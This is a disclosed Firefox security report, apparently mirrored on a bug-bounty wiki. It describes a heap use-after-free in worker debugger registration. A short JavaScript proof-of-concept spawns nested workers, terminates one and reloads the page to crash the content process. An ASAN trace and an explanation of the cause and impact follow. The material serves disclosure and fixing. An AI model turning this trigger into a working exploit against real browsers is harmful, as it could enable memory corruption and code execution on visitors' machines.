Web Workers - Use After Free in RegisterDebuggerMainThread()
A use-after-free occurs in Firefox's worker debugger registration when nested workers are created and terminated while the page reloads. An attacker could trigger a memory corruption crash in the browser's content process, which in principle could be exploited for code execution.
Originally disclosed on Mozilla
- Fixed in 7 months
- Paid in 7 months
- Disclosed after 7 months
Created attachment 9060048 UAF_RegisterDebuggerMainThread_PoC.js
Prove of Concept test case (full server code in attached file UAF_RegisterDebuggerMainThread_PoC.js):
Main Page code:
<script type="text/javascript">
gc = function()
{
for (var i = 0; i < 0x20000; ++i)
var s = new String('AAAA');
};
worker0 = new Worker("worker0.js");
worker0.onerror=function(){ gc();};
worker1 = new Worker("worker1.js");
setTimeout(function(){location.reload()},200);
</script>
Worker 0:
var embedworker1 = new Worker("embedworker1.js"); yes = no;
Worker 1:
self.onerror = function () {
embedworker0.terminate();
};
var embedworker0 = new Worker("embedworker0.js"); yes = no;
Steps to reproduce: 1. Run server side script UAF_RegisterDebuggerMainThread_PoC.js with Node.js (node UAF_RegisterDebuggerMainThread_PoC.js). 2. Enter http://localhost:12345 in Firefox ASAN build. 3. ASAN reports a Use After Free in RegisterDebuggerMainThread():
==3247==ERROR: AddressSanitizer: heap-use-after-free on address 0x61b00017b210 at pc 0x7fe791ea90ce bp 0x7ffe59b72f10 sp 0x7ffe59b72f08
WRITE of size 8 at 0x61b00017b210 thread T0 (Web Content)
#0 0x7fe791ea90cd in SetDebugger /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:188:15
#1 0x7fe791ea90cd in mozilla::dom::WorkerDebuggerManager::RegisterDebuggerMainThread(mozilla::dom::WorkerPrivate*, bool)
Firefox version: 68.0a1 (2019-04-22) (64-bit) OS: Ubuntu 16.04 LTS
Stack trace:
=================================================================
==3247==ERROR: AddressSanitizer: heap-use-after-free on address 0x61b00017b210 at pc 0x7fe791ea90ce bp 0x7ffe59b72f10 sp 0x7ffe59b72f08
WRITE of size 8 at 0x61b00017b210 thread T0 (Web Content)
#0 0x7fe791ea90cd in SetDebugger /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:188:15
#1 0x7fe791ea90cd in mozilla::dom::WorkerDebuggerManager::RegisterDebuggerMainThread(mozilla::dom::WorkerPrivate*, bool) /builds/worker/workspace/build/src/dom/workers/WorkerDebuggerManager.cpp:277
#2 0x7fe791ed28de in mozilla::dom::(anonymous namespace)::RegisterDebuggerMainThreadRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerDebuggerManager.cpp:41:14
#3 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
#4 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#5 0x7fe78b2f7caa in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
#6 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#7 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#8 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#9 0x7fe7926bf749 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#10 0x7fe7962dd4df in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
#11 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#12 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#13 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#14 0x7fe7962dce86 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34
#15 0x5604aa4e53a7 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#16 0x5604aa4e53a7 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263
#17 0x7fe7a9c4282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#18 0x5604aa406af8 in _start (/home/thecoder/FirefoxBuilds/firefox/firefox+0x2aaf8)
0x61b00017b210 is located 912 bytes inside of 1440-byte region [0x61b00017ae80,0x61b00017b420)
freed by thread T22 (DOM Worker) here:
#0 0x5604aa4b2182 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
#1 0x7fe791f1e110 in operator delete /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:151:10
#2 0x7fe791f1e110 in Release /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:102
#3 0x7fe791f1e110 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:46
#4 0x7fe791f1e110 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:363
#5 0x7fe791f1e110 in assign_assuming_AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:65
#6 0x7fe791f1e110 in operator= /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:156
#7 0x7fe791f1e110 in ClearSelfAndParentEventTargetRef /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:125
#8 0x7fe791f1e110 in mozilla::dom::(anonymous namespace)::WorkerFinishedRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:238
#9 0x7fe791f09842 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
#10 0x7fe791eef44c in ProcessAllControlRunnablesLocked /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:3276:9
#11 0x7fe791eef44c in mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2646
#12 0x7fe791eb82cb in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:2305:40
#13 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
#14 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#15 0x7fe78b2f8eb0 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:333:5
#16 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#17 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#18 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#19 0x7fe78a2ac21a in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:454:11
#20 0x7fe7ab05905d in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5
#21 0x7fe7aaca06b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
previously allocated by thread T22 (DOM Worker) here:
#0 0x5604aa4b2503 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
#1 0x5604aa4e6f9d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
#2 0x7fe791ee9c29 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
#3 0x7fe791ee9c29 in mozilla::dom::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerType, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::WorkerLoadInfo*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2235
#4 0x7fe791e9ba17 in mozilla::dom::Worker::Constructor(mozilla::dom::GlobalObject const&, nsTSubstring<char16_t> const&, mozilla::dom::WorkerOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/Worker.cpp:30:41
#5 0x7fe78f4ae630 in mozilla::dom::Worker_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WorkerBinding.cpp:1112:52
#6 0x7fe796569595 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#7 0x7fe796569595 in CallJSNativeConstructor /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:458
#8 0x7fe796569595 in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651
#9 0x7fe796546916 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3070:16
#10 0x7fe796530528 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#11 0x7fe79656bb7c in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:781:13
#12 0x7fe79656c329 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:814:10
#13 0x7fe7967ed334 in bool Evaluate<char16_t>(JSContext*, js::ScopeKind, JS::Handle<JSObject*>, JS::ReadOnlyCompileOptions const&, JS::SourceText<char16_t>&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:539:10
#14 0x7fe7967ec6aa in JS::Evaluate(JSContext*, JS::ReadOnlyCompileOptions const&, JS::SourceText<char16_t>&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:557:10
#15 0x7fe791ec98d6 in mozilla::dom::(anonymous namespace)::ScriptExecutorRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:1989:10
#16 0x7fe791f09842 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
#17 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
#18 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#19 0x7fe791ef859e in mozilla::dom::WorkerPrivate::RunCurrentSyncLoop() /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:3646:7
#20 0x7fe791e9a7b5 in Run /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:1173:27
#21 0x7fe791e9a7b5 in mozilla::dom::(anonymous namespace)::LoadAllScripts(mozilla::dom::WorkerPrivate*, nsTArray<mozilla::dom::(anonymous namespace)::ScriptLoadInfo>&, bool, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:2149
#22 0x7fe791e99bd2 in mozilla::dom::workerinternals::LoadMainScript(mozilla::dom::WorkerPrivate*, nsTSubstring<char16_t> const&, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:2259:3
#23 0x7fe791f1ca85 in mozilla::dom::(anonymous namespace)::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:340:5
#24 0x7fe791f09842 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
#25 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
#26 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#27 0x7fe791eefd3a in mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2748:7
#28 0x7fe791eb82cb in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:2305:40
#29 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
#30 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#31 0x7fe78b2f8eb0 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:333:5
#32 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#33 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#34 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#35 0x7fe78a2ac21a in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:454:11
Thread T22 (DOM Worker) created by T0 (Web Content) here:
#0 0x5604aa49aadd in pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:210:3
#1 0x7fe7ab04b158 in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14
#2 0x7fe7ab034d3e in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12
#3 0x7fe78a2ae529 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:661:8
#4 0x7fe791f18c48 in mozilla::dom::WorkerThread::Create(mozilla::dom::WorkerThreadFriendKey const&) /builds/worker/workspace/build/src/dom/workers/WorkerThread.cpp:93:7
#5 0x7fe791e8d1d9 in mozilla::dom::workerinternals::RuntimeService::ScheduleWorker(mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:1433:14
#6 0x7fe791e8b7f5 in mozilla::dom::workerinternals::RuntimeService::RegisterWorker(mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:1298:19
#7 0x7fe791ee9d49 in mozilla::dom::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerType, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::WorkerLoadInfo*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2250:24
#8 0x7fe791e9ba17 in mozilla::dom::Worker::Constructor(mozilla::dom::GlobalObject const&, nsTSubstring<char16_t> const&, mozilla::dom::WorkerOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/Worker.cpp:30:41
#9 0x7fe78f4ae630 in mozilla::dom::Worker_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WorkerBinding.cpp:1112:52
#10 0x7fe796569595 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#11 0x7fe796569595 in CallJSNativeConstructor /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:458
#12 0x7fe796569595 in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651
#13 0x7fe796546916 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3070:16
#14 0x7fe796530528 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#15 0x7fe79656bb7c in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:781:13
#16 0x7fe79656c329 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:814:10
#17 0x7fe7967ea5ca in ExecuteScript(JSContext*, JS::Handle<JS::StackGCVector<JSObject*, js::TempAllocPolicy> >, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:455:10
#18 0x7fe78dab2254 in nsJSUtils::ExecutionContext::ExecScript() /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:386:8
#19 0x7fe792360e33 in mozilla::dom::ExecuteCompiledScript(JSContext*, mozilla::dom::ScriptLoadRequest*, nsJSUtils::ExecutionContext&) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2495:16
#20 0x7fe79235def1 in mozilla::dom::ScriptLoader::EvaluateScript(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2715:20
#21 0x7fe79235688c in mozilla::dom::ScriptLoader::ProcessRequest(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2222:10
#22 0x7fe792353262 in mozilla::dom::ScriptLoader::ProcessInlineScript(nsIScriptElement*, mozilla::dom::ScriptKind) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1803:10
#23 0x7fe79232d67e in mozilla::dom::ScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1526:10
#24 0x7fe79232c94e in mozilla::dom::ScriptElement::MaybeProcessScript() /builds/worker/workspace/build/src/dom/script/ScriptElement.cpp:118:18
#25 0x7fe78c6218fa in AttemptToExecute /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIScriptElement.h:224:18
#26 0x7fe78c6218fa in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:727
#27 0x7fe78c61b5a3 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:530:7
#28 0x7fe78c627720 in nsHtml5ExecutorFlusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5StreamParser.cpp:133:18
#29 0x7fe78a2811f1 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
#30 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
#31 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#32 0x7fe78b2f7caa in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
#33 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#34 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#35 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#36 0x7fe7926bf749 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#37 0x7fe7962dd4df in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
#38 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#39 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#40 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#41 0x7fe7962dce86 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34
#42 0x5604aa4e53a7 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#43 0x5604aa4e53a7 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263
#44 0x7fe7a9c4282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:188:15 in SetDebugger
Shadow bytes around the buggy address:
0x0c36800275f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c3680027640: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680027680: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680027690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3247==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a race between the worker thread freeing the WorkerPrivate object and the main thread's queued RegisterDebuggerMainThread runnable still holding a raw pointer to it.
Impact
The bug causes a heap-use-after-free write in the content process, which could lead to a crash and potentially to code execution, though the report only demonstrates the memory corruption under ASAN.
What the attacker needed
Victim visits a malicious page; Firefox build with workers and debugger support
How it was found
- Run the provided Node.js server script.
- Open the local page in a Firefox ASAN build.
- Observe AddressSanitizer reporting a heap-use-after-free in RegisterDebuggerMainThread().
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A worker is a background script that runs alongside a web page. Here, a worker object was freed from memory but the browser still tried to write to it, which is a use-after-free. That kind of memory mistake can crash the browser and, with more work, sometimes let an attacker run their own code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.